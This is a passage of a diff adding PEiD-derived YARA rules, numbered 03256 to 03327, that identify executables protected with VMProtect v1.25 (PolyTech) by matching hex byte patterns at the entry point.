+rule PEiD_03256_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03257_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03258_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 66 8B 55 00 83 C5 02 88 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03259_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 66 98 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03260_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03261_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 8A 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03262_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 45 00 83 ED 02 00 45 04 9C 8F 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03263_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 45 00 8A 4D 02 83 ED 02 D2 E0 66 89 45 04 9C 8F 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03264_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 45 00 8A 4D 02 83 ED 02 D2 E8 66 89 45 04 9C 8F 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03265_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 C6 04 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03266_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 83 C6 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03267_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 83 EE FC 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03268_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 C6 04 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03269_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 EE FC E9}
+    condition:
+        $a
+}
+
+rule PEiD_03270_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 8D 76 04 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03271_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 8D 76 04 89 45 00 E9}
+    condition:
+        $a
+}
+rule PEiD_03272_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 EE FC 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03273_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 8D 76 04 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03274_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03275_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03276_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 66 8B 55 04 83 C5 06 66 36 89 10 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03277_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 66 8B 55 04 83 C5 06 66 89 10 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03278_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 36 8B 00 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03279_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03280_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 4D 04 83 ED 02 D3 E0 89 45 04 9C 8F 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03281_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 4D 04 83 ED 02 D3 E8 89 45 04 9C 8F 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03282_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 4D 04 83 ED 02 D3 E8 89 45 04 9C 8F 45 00 E9 01 7D 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_03283_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 36 88 10 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03284_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03285_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03286_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 36 89 10 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03287_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03288_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 8A 4D 08 83 C5 02 0F A5 D0 89 45 04 9C 8F 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03289_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 8A 4D 08 83 C5 02 0F AD D0 89 45 04 9C 8F 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03290_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 F7 D0 F7 D2 21 D0 89 45 04 9C 8F 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03291_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 00 83 C5 02 36 8A 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03292_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 00 83 C5 02 8A 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03293_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 6D 00 E9}
+    condition:
+        $a
+}
+rule PEiD_03294_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03295_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 47 50 39 C5 0F 87 ?? ?? ?? ?? 8D 4F 40 29 E1 8D 45 80 29 C8 89 C4 9C 56 89 FE 8D BD 40 FF FF FF 57 FC F3 A4 5F 5E 9D E9}
+    condition:
+        $a
+}
+
+rule PEiD_03296_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 51 53 57 56 52 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03297_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 52 53 52 56 57 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_03298_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 56 57 51 52 53 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 55 00 83 C5 02 8A 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03299_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 56 57 53 55 51 52 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_03300_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 57 53 51 52 55 54 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 58 5E 59 5D 5A 59 5B 5F 58 9D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03301_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 52 56 50 53 56 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 ED 04 8D 76 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03302_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 53 50 52 56 55 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_03303_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 55 57 53 56 50 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_03304_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 56 53 52 50 55 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 55 00 83 C5 02 36 8A 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03305_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 56 55 52 50 55 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03306_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 51 56 57 50 50 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03307_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 53 51 55 57 56 50 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_03308_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 55 51 53 53 57 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_03309_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 56 51 57 53 50 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03310_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 56 53 55 53 51 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03311_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 50 52 51 55 56 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03312_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 50 55 56 51 57 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_03313_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 51 52 55 52 50 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_03314_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 55 56 56 57 51 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03315_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 56 56 50 55 51 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03316_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 57 50 55 56 57 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03317_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 55 50 52 56 51 50 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 59 5F 5B 5A 59 5E 5A 58 5D 9D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03318_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 55 52 56 53 57 51 54 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 01 45 04 9C 8F 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03319_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 55 56 53 57 52 51 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8A 06 46 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03320_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 55 57 53 52 55 51 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_03321_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 50 52 51 57 53 55 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 83 C6 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03322_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 51 52 55 51 50 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_03323_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 51 53 55 51 50 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03324_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 52 53 56 50 57 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_03325_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 53 51 55 52 50 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+rule PEiD_03326_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 53 55 51 57 52 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03327_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 53 57 52 51 50 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
